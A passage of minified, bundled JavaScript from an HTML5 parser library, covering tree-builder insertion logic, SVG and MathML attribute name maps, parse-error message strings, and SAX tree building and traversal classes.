f(n,e,t,i))},g.prototype.insertFormattingElement=function(e,t){this.insertElement(e,t,\"http://www.w3.org/1999/xhtml\"),this.appendElementToActiveFormattingElements(this.currentStackItem())},g.prototype.insertSelfClosingElement=function(e,t){this.selfClosingFlagAcknowledged=!0,this.insertElement(e,t,\"http://www.w3.org/1999/xhtml\",!0)},g.prototype.insertForeignElement=function(e,t,n,r){r&&(this.selfClosingFlagAcknowledged=!0),this.insertElement(e,t,n,r)},g.prototype.insertComment=function(e,t){throw new Error(\"Not implemented\")},g.prototype.insertDoctype=function(e,t,n){throw new Error(\"Not implemented\")},g.prototype.insertText=function(e){throw new Error(\"Not implemented\")},g.prototype.currentStackItem=function(){return this.openElements.top},g.prototype.popElement=function(){return this.openElements.pop()},g.prototype.shouldFosterParent=function(){return this.redirectAttachToFosterParent&&this.currentStackItem().isFosterParenting()},g.prototype.generateImpliedEndTags=function(e){var t=this.openElements.top.localName;[\"dd\",\"dt\",\"li\",\"option\",\"optgroup\",\"p\",\"rp\",\"rt\"].indexOf(t)!=-1&&t!=e&&(this.popElement(),this.generateImpliedEndTags(e))},g.prototype.reconstructActiveFormattingElements=function(){if(this.activeFormattingElements.length===0)return;var e=this.activeFormattingElements.length-1,t=this.activeFormattingElements[e];if(t==l||this.openElements.contains(t))return;while(t!=l&&!this.openElements.contains(t)){e-=1,t=this.activeFormattingElements[e];if(!t)break}for(;;){e+=1,t=this.activeFormattingElements[e],this.insertElement(t.localName,t.attributes);var n=this.currentStackItem();this.activeFormattingElements[e]=n;if(n==this.activeFormattingElements[this.activeFormattingElements.length-1])break}},g.prototype.ensureNoahsArkCondition=function(e){var t=3;if(this.activeFormattingElements.length<t)return;var n=[],r=e.attributes.length;for(var i=this.activeFormattingElements.length-1;i>=0;i--){var s=this.activeFormattingElements[i];if(s===l)break;if(e.localName!==s.localName||e.namespaceURI!==s.namespaceURI)continue;if(s.attributes.length!=r)continue;n.push(s)}if(n.length<t)return;var o=[],u=e.attributes;for(var i=0;i<u.length;i++){var a=u[i];for(var f=0;f<n.length;f++){var s=n[f],c=v(s,a.nodeName);c&&c.nodeValue===a.nodeValue&&o.push(s)}if(o.length<t)return;n=o,o=[]}for(var i=t-1;i<n.length;i++)this.removeElementFromActiveFormattingElements(n[i])},g.prototype.appendElementToActiveFormattingElements=function(e){this.ensureNoahsArkCondition(e),this.activeFormattingElements.push(e)},g.prototype.removeElementFromActiveFormattingElements=function(e){var t=this.activeFormattingElements.indexOf(e);t>=0&&this.activeFormattingElements.splice(t,1)},g.prototype.elementInActiveFormattingElements=function(e){var t=this.activeFormattingElements;for(var n=t.length-1;n>=0;n--){if(t[n]==l)break;if(t[n].localName==e)return t[n]}return!1},g.prototype.clearActiveFormattingElements=function(){while(this.activeFormattingElements.length!==0&&this.activeFormattingElements.pop()!=l);},g.prototype.reparentChildren=function(e,t){throw new Error(\"Not implemented\")},g.prototype.setFragmentContext=function(e){this.context=e},g.prototype.parseError=function(e,t){if(!this.errorHandler)return;var n=y(i[e],t);this.errorHandler.error(n,this.tokenizer._inputStream.location(),e)},g.prototype.resetInsertionMode=function(){var e=!1,t=null;for(var n=this.openElements.length-1;n>=0;n--){t=this.openElements.item(n),n===0&&(r.ok(this.context),e=!0,t=new f(\"http://www.w3.org/1999/xhtml\",this.context,[],null));if(t.namespaceURI===\"http://www.w3.org/1999/xhtml\"){if(t.localName===\"select\")return this.setInsertionMode(\"inSelect\");if(t.localName===\"td\"||t.localName===\"th\")return this.setInsertionMode(\"inCell\");if(t.localName===\"tr\")return this.setInsertionMode(\"inRow\");if(t.localName===\"tbody\"||t.localName===\"thead\"||t.localName===\"tfoot\")return this.setInsertionMode(\"inTableBody\");if(t.localName===\"caption\")return this.setInsertionMode(\"inCaption\");if(t.localName===\"colgroup\")return this.setInsertionMode(\"inColumnGroup\");if(t.localName===\"table\")return this.setInsertionMode(\"inTable\");if(t.localName===\"head\"&&!e)return this.setInsertionMode(\"inHead\");if(t.localName===\"body\")return this.setInsertionMode(\"inBody\");if(t.localName===\"frameset\")return this.setInsertionMode(\"inFrameset\");if(t.localName===\"html\")return this.openElements.headElement?this.setInsertionMode(\"afterHead\"):this.setInsertionMode(\"beforeHead\")}if(e)return this.setInsertionMode(\"inBody\")}},g.prototype.processGenericRCDATAStartTag=function(e,t){this.insertElement(e,t),this.tokenizer.setState(u.RCDATA),this.originalInsertionMode=this.insertionModeName,this.setInsertionMode(\"text\")},g.prototype.processGenericRawTextStartTag=function(e,t){this.insertElement(e,t),this.tokenizer.setState(u.RAWTEXT),this.originalInsertionMode=this.insertionModeName,this.setInsertionMode(\"text\")},g.prototype.adjustMathMLAttributes=function(e){return e.forEach(function(e){e.namespaceURI=\"http://www.w3.org/1998/Math/MathML\",s.MATHMLAttributeMap[e.nodeName]&&(e.nodeName=s.MATHMLAttributeMap[e.nodeName])}),e},g.prototype.adjustSVGTagNameCase=function(e){return s.SVGTagMap[e]||e},g.prototype.adjustSVGAttributes=function(e){return e.forEach(function(e){e.namespaceURI=\"http://www.w3.org/2000/svg\",s.SVGAttributeMap[e.nodeName]&&(e.nodeName=s.SVGAttributeMap[e.nodeName])}),e},g.prototype.adjustForeignAttributes=function(e){for(var t=0;t<e.length;t++){var n=e[t],r=s.ForeignAttributeMap[n.nodeName];r&&(n.nodeName=r.localName,n.prefix=r.prefix,n.namespaceURI=r.namespaceURI)}return e},n.TreeBuilder=g},{\"./ElementStack\":1,\"./StackItem\":4,\"./Tokenizer\":5,\"./constants\":7,\"./messages.json\":8,assert:13,events:16}],7:[function(e,t,n){n.SVGTagMap={altglyph:\"altGlyph\",altglyphdef:\"altGlyphDef\",altglyphitem:\"altGlyphItem\",animatecolor:\"animateColor\",animatemotion:\"animateMotion\",animatetransform:\"animateTransform\",clippath:\"clipPath\",feblend:\"feBlend\",fecolormatrix:\"feColorMatrix\",fecomponenttransfer:\"feComponentTransfer\",fecomposite:\"feComposite\",feconvolvematrix:\"feConvolveMatrix\",fediffuselighting:\"feDiffuseLighting\",fedisplacementmap:\"feDisplacementMap\",fedistantlight:\"feDistantLight\",feflood:\"feFlood\",fefunca:\"feFuncA\",fefuncb:\"feFuncB\",fefuncg:\"feFuncG\",fefuncr:\"feFuncR\",fegaussianblur:\"feGaussianBlur\",feimage:\"feImage\",femerge:\"feMerge\",femergenode:\"feMergeNode\",femorphology:\"feMorphology\",feoffset:\"feOffset\",fepointlight:\"fePointLight\",fespecularlighting:\"feSpecularLighting\",fespotlight:\"feSpotLight\",fetile:\"feTile\",feturbulence:\"feTurbulence\",foreignobject:\"foreignObject\",glyphref:\"glyphRef\",lineargradient:\"linearGradient\",radialgradient:\"radialGradient\",textpath:\"textPath\"},n.MATHMLAttributeMap={definitionurl:\"definitionURL\"},n.SVGAttributeMap={attributename:\"attributeName\",attributetype:\"attributeType\",basefrequency:\"baseFrequency\",baseprofile:\"baseProfile\",calcmode:\"calcMode\",clippathunits:\"clipPathUnits\",contentscripttype:\"contentScriptType\",contentstyletype:\"contentStyleType\",diffuseconstant:\"diffuseConstant\",edgemode:\"edgeMode\",externalresourcesrequired:\"externalResourcesRequired\",filterres:\"filterRes\",filterunits:\"filterUnits\",glyphref:\"glyphRef\",gradienttransform:\"gradientTransform\",gradientunits:\"gradientUnits\",kernelmatrix:\"kernelMatrix\",kernelunitlength:\"kernelUnitLength\",keypoints:\"keyPoints\",keysplines:\"keySplines\",keytimes:\"keyTimes\",lengthadjust:\"lengthAdjust\",limitingconeangle:\"limitingConeAngle\",markerheight:\"markerHeight\",markerunits:\"markerUnits\",markerwidth:\"markerWidth\",maskcontentunits:\"maskContentUnits\",maskunits:\"maskUnits\",numoctaves:\"numOctaves\",pathlength:\"pathLength\",patterncontentunits:\"patternContentUnits\",patterntransform:\"patternTransform\",patternunits:\"patternUnits\",pointsatx:\"pointsAtX\",pointsaty:\"pointsAtY\",pointsatz:\"pointsAtZ\",preservealpha:\"preserveAlpha\",preserveaspectratio:\"preserveAspectRatio\",primitiveunits:\"primitiveUnits\",refx:\"refX\",refy:\"refY\",repeatcount:\"repeatCount\",repeatdur:\"repeatDur\",requiredextensions:\"requiredExtensions\",requiredfeatures:\"requiredFeatures\",specularconstant:\"specularConstant\",specularexponent:\"specularExponent\",spreadmethod:\"spreadMethod\",startoffset:\"startOffset\",stddeviation:\"stdDeviation\",stitchtiles:\"stitchTiles\",surfacescale:\"surfaceScale\",systemlanguage:\"systemLanguage\",tablevalues:\"tableValues\",targetx:\"targetX\",targety:\"targetY\",textlength:\"textLength\",viewbox:\"viewBox\",viewtarget:\"viewTarget\",xchannelselector:\"xChannelSelector\",ychannelselector:\"yChannelSelector\",zoomandpan:\"zoomAndPan\"},n.ForeignAttributeMap={\"xlink:actuate\":{prefix:\"xlink\",localName:\"actuate\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:arcrole\":{prefix:\"xlink\",localName:\"arcrole\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:href\":{prefix:\"xlink\",localName:\"href\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:role\":{prefix:\"xlink\",localName:\"role\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:show\":{prefix:\"xlink\",localName:\"show\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:title\":{prefix:\"xlink\",localName:\"title\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:type\":{prefix:\"xlink\",localName:\"title\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xml:base\":{prefix:\"xml\",localName:\"base\",namespaceURI:\"http://www.w3.org/XML/1998/namespace\"},\"xml:lang\":{prefix:\"xml\",localName:\"lang\",namespaceURI:\"http://www.w3.org/XML/1998/namespace\"},\"xml:space\":{prefix:\"xml\",localName:\"space\",namespaceURI:\"http://www.w3.org/XML/1998/namespace\"},xmlns:{prefix:null,localName:\"xmlns\",namespaceURI:\"http://www.w3.org/2000/xmlns/\"},\"xmlns:xlink\":{prefix:\"xmlns\",localName:\"xlink\",namespaceURI:\"http://www.w3.org/2000/xmlns/\"}}},{}],8:[function(e,t,n){t.exports={\"null-character\":\"Null character in input stream, replaced with U+FFFD.\",\"invalid-codepoint\":\"Invalid codepoint in stream\",\"incorrectly-placed-solidus\":\"Solidus (/) incorrectly placed in tag.\",\"incorrect-cr-newline-entity\":\"Incorrect CR newline entity, replaced with LF.\",\"illegal-windows-1252-entity\":\"Entity used with illegal number (windows-1252 reference).\",\"cant-convert-numeric-entity\":\"Numeric entity couldn't be converted to character (codepoint U+{charAsInt}).\",\"invalid-numeric-entity-replaced\":\"Numeric entity represents an illegal codepoint. Expanded to the C1 controls range.\",\"numeric-entity-without-semicolon\":\"Numeric entity didn't end with ';'.\",\"expected-numeric-entity-but-got-eof\":\"Numeric entity expected. Got end of file instead.\",\"expected-numeric-entity\":\"Numeric entity expected but none found.\",\"named-entity-without-semicolon\":\"Named entity didn't end with ';'.\",\"expected-named-entity\":\"Named entity expected. Got none.\",\"attributes-in-end-tag\":\"End tag contains unexpected attributes.\",\"self-closing-flag-on-end-tag\":\"End tag contains unexpected self-closing flag.\",\"bare-less-than-sign-at-eof\":\"End of file after <.\",\"expected-tag-name-but-got-right-bracket\":\"Expected tag name. Got '>' instead.\",\"expected-tag-name-but-got-question-mark\":\"Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)\",\"expected-tag-name\":\"Expected tag name. Got something else instead.\",\"expected-closing-tag-but-got-right-bracket\":\"Expected closing tag. Got '>' instead. Ignoring '</>'.\",\"expected-closing-tag-but-got-eof\":\"Expected closing tag. Unexpected end of file.\",\"expected-closing-tag-but-got-char\":\"Expected closing tag. Unexpected character '{data}' found.\",\"eof-in-tag-name\":\"Unexpected end of file in the tag name.\",\"expected-attribute-name-but-got-eof\":\"Unexpected end of file. Expected attribute name instead.\",\"eof-in-attribute-name\":\"Unexpected end of file in attribute name.\",\"invalid-character-in-attribute-name\":\"Invalid character in attribute name.\",\"duplicate-attribute\":\"Dropped duplicate attribute '{name}' on tag.\",\"expected-end-of-tag-but-got-eof\":\"Unexpected end of file. Expected = or end of tag.\",\"expected-attribute-value-but-got-eof\":\"Unexpected end of file. Expected attribute value.\",\"expected-attribute-value-but-got-right-bracket\":\"Expected attribute value. Got '>' instead.\",\"unexpected-character-in-unquoted-attribute-value\":\"Unexpected character in unquoted attribute\",\"invalid-character-after-attribute-name\":\"Unexpected character after attribute name.\",\"unexpected-character-after-attribute-value\":\"Unexpected character after attribute value.\",\"eof-in-attribute-value-double-quote\":'Unexpected end of file in attribute value (\").',\"eof-in-attribute-value-single-quote\":\"Unexpected end of file in attribute value (').\",\"eof-in-attribute-value-no-quotes\":\"Unexpected end of file in attribute value.\",\"eof-after-attribute-value\":\"Unexpected end of file after attribute value.\",\"unexpected-eof-after-solidus-in-tag\":\"Unexpected end of file in tag. Expected >.\",\"unexpected-character-after-solidus-in-tag\":\"Unexpected character after / in tag. Expected >.\",\"expected-dashes-or-doctype\":\"Expected '--' or 'DOCTYPE'. Not found.\",\"unexpected-bang-after-double-dash-in-comment\":\"Unexpected ! after -- in comment.\",\"incorrect-comment\":\"Incorrect comment.\",\"eof-in-comment\":\"Unexpected end of file in comment.\",\"eof-in-comment-end-dash\":\"Unexpected end of file in comment (-).\",\"unexpected-dash-after-double-dash-in-comment\":\"Unexpected '-' after '--' found in comment.\",\"eof-in-comment-double-dash\":\"Unexpected end of file in comment (--).\",\"eof-in-comment-end-bang-state\":\"Unexpected end of file in comment.\",\"unexpected-char-in-comment\":\"Unexpected character in comment found.\",\"need-space-after-doctype\":\"No space after literal string 'DOCTYPE'.\",\"expected-doctype-name-but-got-right-bracket\":\"Unexpected > character. Expected DOCTYPE name.\",\"expected-doctype-name-but-got-eof\":\"Unexpected end of file. Expected DOCTYPE name.\",\"eof-in-doctype-name\":\"Unexpected end of file in DOCTYPE name.\",\"eof-in-doctype\":\"Unexpected end of file in DOCTYPE.\",\"expected-space-or-right-bracket-in-doctype\":\"Expected space or '>'. Got '{data}'.\",\"unexpected-end-of-doctype\":\"Unexpected end of DOCTYPE.\",\"unexpected-char-in-doctype\":\"Unexpected character in DOCTYPE.\",\"eof-in-bogus-doctype\":\"Unexpected end of file in bogus doctype.\",\"eof-in-innerhtml\":\"Unexpected EOF in inner html mode.\",\"unexpected-doctype\":\"Unexpected DOCTYPE. Ignored.\",\"non-html-root\":\"html needs to be the first start tag.\",\"expected-doctype-but-got-eof\":\"Unexpected End of file. Expected DOCTYPE.\",\"unknown-doctype\":\"Erroneous DOCTYPE. Expected <!DOCTYPE html>.\",\"quirky-doctype\":\"Quirky doctype. Expected <!DOCTYPE html>.\",\"almost-standards-doctype\":\"Almost standards mode doctype. Expected <!DOCTYPE html>.\",\"obsolete-doctype\":\"Obsolete doctype. Expected <!DOCTYPE html>.\",\"expected-doctype-but-got-chars\":\"Non-space characters found without seeing a doctype first. Expected e.g. <!DOCTYPE html>.\",\"expected-doctype-but-got-start-tag\":\"Start tag seen without seeing a doctype first. Expected e.g. <!DOCTYPE html>.\",\"expected-doctype-but-got-end-tag\":\"End tag seen without seeing a doctype first. Expected e.g. <!DOCTYPE html>.\",\"end-tag-after-implied-root\":\"Unexpected end tag ({name}) after the (implied) root element.\",\"expected-named-closing-tag-but-got-eof\":\"Unexpected end of file. Expected end tag ({name}).\",\"two-heads-are-not-better-than-one\":\"Unexpected start tag head in existing head. Ignored.\",\"unexpected-end-tag\":\"Unexpected end tag ({name}). Ignored.\",\"unexpected-implied-end-tag\":\"End tag {name} implied, but there were open elements.\",\"unexpected-start-tag-out-of-my-head\":\"Unexpected start tag ({name}) that can be in head. Moved.\",\"unexpected-start-tag\":\"Unexpected start tag ({name}).\",\"missing-end-tag\":\"Missing end tag ({name}).\",\"missing-end-tags\":\"Missing end tags ({name}).\",\"unexpected-start-tag-implies-end-tag\":\"Unexpected start tag ({startName}) implies end tag ({endName}).\",\"unexpected-start-tag-treated-as\":\"Unexpected start tag ({originalName}). Treated as {newName}.\",\"deprecated-tag\":\"Unexpected start tag {name}. Don't use it!\",\"unexpected-start-tag-ignored\":\"Unexpected start tag {name}. Ignored.\",\"expected-one-end-tag-but-got-another\":\"Unexpected end tag ({gotName}). Missing end tag ({expectedName}).\",\"end-tag-too-early\":\"End tag ({name}) seen too early. Expected other end tag.\",\"end-tag-too-early-named\":\"Unexpected end tag ({gotName}). Expected end tag ({expectedName}.\",\"end-tag-too-early-ignored\":\"End tag ({name}) seen too early. Ignored.\",\"adoption-agency-1.1\":\"End tag ({name}) violates step 1, paragraph 1 of the adoption agency algorithm.\",\"adoption-agency-1.2\":\"End tag ({name}) violates step 1, paragraph 2 of the adoption agency algorithm.\",\"adoption-agency-1.3\":\"End tag ({name}) violates step 1, paragraph 3 of the adoption agency algorithm.\",\"adoption-agency-4.4\":\"End tag ({name}) violates step 4, paragraph 4 of the adoption agency algorithm.\",\"unexpected-end-tag-treated-as\":\"Unexpected end tag ({originalName}). Treated as {newName}.\",\"no-end-tag\":\"This element ({name}) has no end tag.\",\"unexpected-implied-end-tag-in-table\":\"Unexpected implied end tag ({name}) in the table phase.\",\"unexpected-implied-end-tag-in-table-body\":\"Unexpected implied end tag ({name}) in the table body phase.\",\"unexpected-char-implies-table-voodoo\":\"Unexpected non-space characters in table context caused voodoo mode.\",\"unexpected-hidden-input-in-table\":\"Unexpected input with type hidden in table context.\",\"unexpected-form-in-table\":\"Unexpected form in table context.\",\"unexpected-start-tag-implies-table-voodoo\":\"Unexpected start tag ({name}) in table context caused voodoo mode.\",\"unexpected-end-tag-implies-table-voodoo\":\"Unexpected end tag ({name}) in table context caused voodoo mode.\",\"unexpected-cell-in-table-body\":\"Unexpected table cell start tag ({name}) in the table body phase.\",\"unexpected-cell-end-tag\":\"Got table cell end tag ({name}) while required end tags are missing.\",\"unexpected-end-tag-in-table-body\":\"Unexpected end tag ({name}) in the table body phase. Ignored.\",\"unexpected-implied-end-tag-in-table-row\":\"Unexpected implied end tag ({name}) in the table row phase.\",\"unexpected-end-tag-in-table-row\":\"Unexpected end tag ({name}) in the table row phase. Ignored.\",\"unexpected-select-in-select\":\"Unexpected select start tag in the select phase treated as select end tag.\",\"unexpected-input-in-select\":\"Unexpected input start tag in the select phase.\",\"unexpected-start-tag-in-select\":\"Unexpected start tag token ({name}) in the select phase. Ignored.\",\"unexpected-end-tag-in-select\":\"Unexpected end tag ({name}) in the select phase. Ignored.\",\"unexpected-table-element-start-tag-in-select-in-table\":\"Unexpected table element start tag ({name}) in the select in table phase.\",\"unexpected-table-element-end-tag-in-select-in-table\":\"Unexpected table element end tag ({name}) in the select in table phase.\",\"unexpected-char-after-body\":\"Unexpected non-space characters in the after body phase.\",\"unexpected-start-tag-after-body\":\"Unexpected start tag token ({name}) in the after body phase.\",\"unexpected-end-tag-after-body\":\"Unexpected end tag token ({name}) in the after body phase.\",\"unexpected-char-in-frameset\":\"Unepxected characters in the frameset phase. Characters ignored.\",\"unexpected-start-tag-in-frameset\":\"Unexpected start tag token ({name}) in the frameset phase. Ignored.\",\"unexpected-frameset-in-frameset-innerhtml\":\"Unexpected end tag token (frameset in the frameset phase (innerHTML).\",\"unexpected-end-tag-in-frameset\":\"Unexpected end tag token ({name}) in the frameset phase. Ignored.\",\"unexpected-char-after-frameset\":\"Unexpected non-space characters in the after frameset phase. Ignored.\",\"unexpected-start-tag-after-frameset\":\"Unexpected start tag ({name}) in the after frameset phase. Ignored.\",\"unexpected-end-tag-after-frameset\":\"Unexpected end tag ({name}) in the after frameset phase. Ignored.\",\"expected-eof-but-got-char\":\"Unexpected non-space characters. Expected end of file.\",\"expected-eof-but-got-start-tag\":\"Unexpected start tag ({name}). Expected end of file.\",\"expected-eof-but-got-end-tag\":\"Unexpected end tag ({name}). Expected end of file.\",\"unexpected-end-table-in-caption\":\"Unexpected end table tag in caption. Generates implied end caption.\",\"end-html-in-innerhtml\":\"Unexpected html end tag in inner html mode.\",\"eof-in-table\":\"Unexpected end of file. Expected table content.\",\"eof-in-script\":\"Unexpected end of file. Expected script content.\",\"non-void-element-with-trailing-solidus\":\"Trailing solidus not allowed on element {name}.\",\"unexpected-html-element-in-foreign-content\":'HTML start tag \"{name}\" in a foreign namespace context.',\"unexpected-start-tag-in-table\":\"Unexpected {name}. Expected table content.\"}},{}],9:[function(e,t,n){function o(){this.contentHandler=null,this._errorHandler=null,this._treeBuilder=new r,this._tokenizer=new i(this._treeBuilder),this._scriptingEnabled=!1}var r=e(\"./SAXTreeBuilder\").SAXTreeBuilder,i=e(\"../Tokenizer\").Tokenizer,s=e(\"./TreeParser\").TreeParser;o.prototype.parse=function(e){this._tokenizer.tokenize(e);var t=this._treeBuilder.document;t&&(new s(this.contentHandler)).parse(t)},o.prototype.parseFragment=function(e,t){this._treeBuilder.setFragmentContext(t),this._tokenizer.tokenize(e);var n=this._treeBuilder.getFragment();n&&(new s(this.contentHandler)).parse(n)},Object.defineProperty(o.prototype,\"scriptingEnabled\",{get:function(){return this._scriptingEnabled},set:function(e){this._scriptingEnabled=e,this._treeBuilder.scriptingEnabled=e}}),Object.defineProperty(o.prototype,\"errorHandler\",{get:function(){return this._errorHandler},set:function(e){this._errorHandler=e,this._treeBuilder.errorHandler=e}}),n.SAXParser=o},{\"../Tokenizer\":5,\"./SAXTreeBuilder\":10,\"./TreeParser\":11}],10:[function(e,t,n){function s(){i.call(this)}function o(e,t){for(var n=0;n<e.attributes.length;n++){var r=e.attributes[n];if(r.nodeName===t)return r.nodeValue}}function a(e){e?(this.columnNumber=e.columnNumber,this.lineNumber=e.lineNumber):(this.columnNumber=-1,this.lineNumber=-1),this.parentNode=null,this.nextSibling=null,this.firstChild=null}function f(e){a.call(this,e),this.lastChild=null,this._endLocator=null}function l(e){f.call(this,e),this.nodeType=u.DOCUMENT}function c(){f.call(this,new Locator),this.nodeType=u.DOCUMENT_FRAGMENT}function h(e,t,n,r,i,s){f.call(this,e),this.uri=t,this.localName=n,this.qName=r,this.attributes=i,this.prefixMappings=s,this.nodeType=u.ELEMENT}function p(e,t){a.call(this,e),this.data=t,this.nodeType=u.CHARACTERS}function d(e,t){a.call(this,e),this.data=t,this.nodeType=u.IGNORABLE_WHITESPACE}function v(e,t){a.call(this,e),this.data=t,this.nodeType=u.COMMENT}function m(e){f.call(this,e),this.nodeType=u.CDATA}function g(e){f.call(this),this.name=e,this.nodeType=u.ENTITY}function y(e){a.call(this),this.name=e,this.nodeType=u.SKIPPED_ENTITY}function b(e,t){a.call(this),this.target=e,this.data=t}function w(e,t,n){f.call(this),this.name=e,this.publicIdentifier=t,this.systemIdentifier=n,this.nodeType=u.DTD}var r=e(\"util\"),i=e(\"../TreeBuilder\").TreeBuilder;r.inherits(s,i),s.prototype.start=function(e){this.document=new l(this.tokenizer)},s.prototype.end=function(){this.document.endLocator=this.tokenizer},s.prototype.insertDoctype=function(e,t,n){var r=new w(this.tokenizer,e,t,n);r.endLocator=this.tokenizer,this.document.appendChild(r)},s.prototype.createElement=function(e,t,n){var r=new h(this.tokenizer,e,t,t,n||[]);return r},s.prototype.insertComment=function(e,t){t||(t=this.currentStackItem());var n=new v(this.tokenizer,e);t.appendChild(n)},s.prototype.appendCharacters=function(e,t){var n=new p(this.tokenizer,t);e.appendChild(n)},s.prototype.insertText=function(e){if(this.redirectAttachToFosterParent&&this.openElements.top.isFosterParenting()){var t=this.openElements.findIndex(\"table\"),n=this.openElements.item(t),r=n.node;if(t===0)return this.appendCharacters(r,e);var i=new p(this.tokenizer,e),s=r.parentNode;if(s){s.insertBetween(i,r.previousSibling,r);return}var o=this.openElements.item(t-1).node;o.appendChild(i);return}this.appendCharacters(this.currentStackItem().node,e)},s.prototype.attachNode=function(e,t){t.appendChild(e)},s.prototype.attachNodeToFosterParent=function(e,t,n){var r=t.parentNode;r?r.insertBetween(e,t.previousSibling,t):n.appendChild(e)},s.prototype.detachFromParent=function(e){e.detach()},s.prototype.reparentChildren=function(e,t){t.appendChildren(e.firstChild)},s.prototype.getFragment=function(){var e=new c;return this.reparentChildren(this.openElements.rootNode,e),e},s.prototype.addAttributesToElement=function(e,t){for(var n=0;n<t.length;n++){var r=t[n];o(e,r.nodeName)||e.attributes.push(r)}};var u={CDATA:1,CHARACTERS:2,COMMENT:3,DOCUMENT:4,DOCUMENT_FRAGMENT:5,DTD:6,ELEMENT:7,ENTITY:8,IGNORABLE_WHITESPACE:9,PROCESSING_INSTRUCTION:10,SKIPPED_ENTITY:11};a.prototype.visit=function(e){throw new Error(\"Not Implemented\")},a.prototype.revisit=function(e){return},a.prototype.detach=function(){this.parentNode!==null&&(this.parentNode.removeChild(this),this.parentNode=null)},Object.defineProperty(a.prototype,\"previousSibling\",{get:function(){var e=null,t=this.parentNode.firstChild;for(;;){if(this==t)return e;e=t,t=t.nextSibling}}}),f.prototype=Object.create(a.prototype),f.prototype.insertBefore=function(e,t){if(!t)return this.appendChild(e);e.detach(),e.parentNode=this;if(this.firstChild==t)e.nextSibling=t,this.firstChild=e;else{var n=this.firstChild,r=this.firstChild.nextSibling;while(r!=t)n=r,r=r.nextSibling;n.nextSibling=e,e.nextSibling=r}return e},f.prototype.insertBetween=function(e,t,n){return n?(e.detach(),e.parentNode=this,e.nextSibling=n,t?t.nextSibling=e:firstChild=e,e):this.appendChild(e)},f.prototype.appendChild=function(e){return e.detach(),e.parentNode=this,this.firstChild?this.lastChild.nextSibling=e:this.firstChild=e,this.lastChild=e,e},f.prototype.appendChildren=function(e){var t=e.firstChild;if(!t)return;var n=e;this.firstChild?this.lastChild.nextSibling=t:this.firstChild=t,this.lastChild=n.lastChild;do t.parentNode=this;while(t=t.nextSibling);n.firstChild=null,n.lastChild=null},f.prototype.removeChild=function(e){if(this.firstChild==e)this.firstChild=e.nextSibling,this.lastChild==e&&(this.lastChild=null);else{var t=this.firstChild,n=this.firstChild.nextSibling;while(n!=e)t=n,n=n.nextSibling;t.nextSibling=e.nextSibling,this.lastChild==e&&(this.lastChild=t)}return e.parentNode=null,e},Object.defineProperty(f.prototype,\"endLocator\",{get:function(){return this._endLocator},set:function(e){this._endLocator={lineNumber:e.lineNumber,columnNumber:e.columnNumber}}}),l.prototype=Object.create(f.prototype),l.prototype.visit=function(e){e.startDocument(this)},l.prototype.revisit=function(e){e.endDocument(this.endLocator)},c.prototype=Object.create(f.prototype),c.prototype.visit=function(e){},h.prototype=Object.create(f.prototype),h.prototype.visit=function(e){if(this.prefixMappings)for(var t in prefixMappings){var n=prefixMappings[t];e.startPrefixMapping(n.getPrefix(),n.getUri(),this)}e.startElement(this.uri,this.localName,this.qName,this.attributes,this)},h.prototype.revisit=function(e){e.endElement(this.uri,this.localName,this.qName,this.endLocator);if(this.prefixMappings)for(var t in prefixMappings){var n=prefixMappings[t];e.endPrefixMapping(n.getPrefix(),this.endLocator)}},p.prototype=Object.create(a.prototype),p.prototype.visit=function(e){e.characters(this.data,0,this.data.length,this)},d.prototype=Object.create(a.prototype),d.prototype.visit=function(e){e.ignorableWhitespace(this.data,0,this.data.length,this)},v.prototype=Object.create(a.prototype),v.prototype.visit=function(e){e.comment(this.data,0,this.data.length,this)},m.prototype=Object.create(f.prototype),m.prototype.visit=function(e){e.startCDATA(this)},m.prototype.revisit=function(e){e.endCDATA(this.endLocator)},g.prototype=Object.create(f.prototype),g.prototype.visit=function(e){e.startEntity(this.name,this)},g.prototype.revisit=function(e){e.endEntity(this.name)},y.prototype=Object.create(a.prototype),y.prototype.visit=function(e){e.skippedEntity(this.name,this)},b.prototype=Object.create(a.prototype),b.prototype.visit=function(e){e.processingInstruction(this.target,this.data,this)},b.prototype.getNodeType=function(){return u.PROCESSING_INSTRUCTION},w.prototype=Object.create(f.prototype),w.prototype.visit=function(e){e.startDTD(this.name,this.publicIdentifier,this.systemIdentifier,this)},w.prototype.revisit=function(e){e.endDTD()},n.SAXTreeBuilder=s},{\"../TreeBuilder\":6,util:20}],11:[function(e,t,n){function r(e,t){this.contentHandler,this.lexicalHandler,this.locatorDelegate;if(!e)throw new IllegalArgumentException(\"contentHandler was null.\");this.contentHandler=e,t?this.lexicalHandler=t:this.lexicalHandler=new i}function i(){}r.prototype.parse=function(e){this.contentHandler.documentLocator=this;var t=e,n;for(;;){t.visit(this);if(n=t.firstChild){t=n;continue}for(;;){t.revisit(this);if(t==e)return;if(n=t.nextSibling){t=n;break}t=t.parentNode}}},r.prototype.characters=function(e,t,n,r){this.locatorDelegate=r,this.contentHandler.characters(e,t,n)},r.prototype.endDocument=function(e){this.locatorDelegate=e,this.contentHandler.endDocument()},r.prototype.endElement=function(e,t,n,r){this.locatorDelegate=r,this.contentHandler.endElement(e,t,n)},r.prototype.endPrefixMapping=function(e,t){this.locatorDelegate=t,this.contentHandler.endPrefixMapping(e)},r.prototype.ignorableWhitespace=function(e,t,n,r){this.locatorDelegate=r,this.contentHandler.ignorableWhitespace(e,t,n)},r.prototype.processingInstruction=function(e,t,n){this.locatorDelegate=n,this.contentHandler.processingInstruction(e,t)},r.prototype.skippedEntity=function(e,t){this.locatorDelegate=t,this.contentHandler.skippedEntity(e)},r.prototype.startDocument=function(e){this.locatorDelegate=e,this.contentHandler.startDocument()},r.prototype.startElement=function(e,t,n,r,i){this.locatorDelegate=i,this.contentHandler.startElement(e,t,n,r)},r.prototype.startPrefixMapping=function(e,t,n){this.locatorDelegate=n,this.contentHandler.startPrefixMapping(e,t)},r.prototype.comment=function(e,t,n,r){this.locatorDelegate=r,this.lexicalHandler.comment(e,t,n)},r.prototype.endCDATA=function(e){this.locatorDelegate=e,this.lexicalHandler.endCDATA()},r.prototype.endDTD=function(e){this.locatorDelegate=e,this.lexicalHandler.endDTD()},r.prototype.endEntity=function(e,t){this.locatorD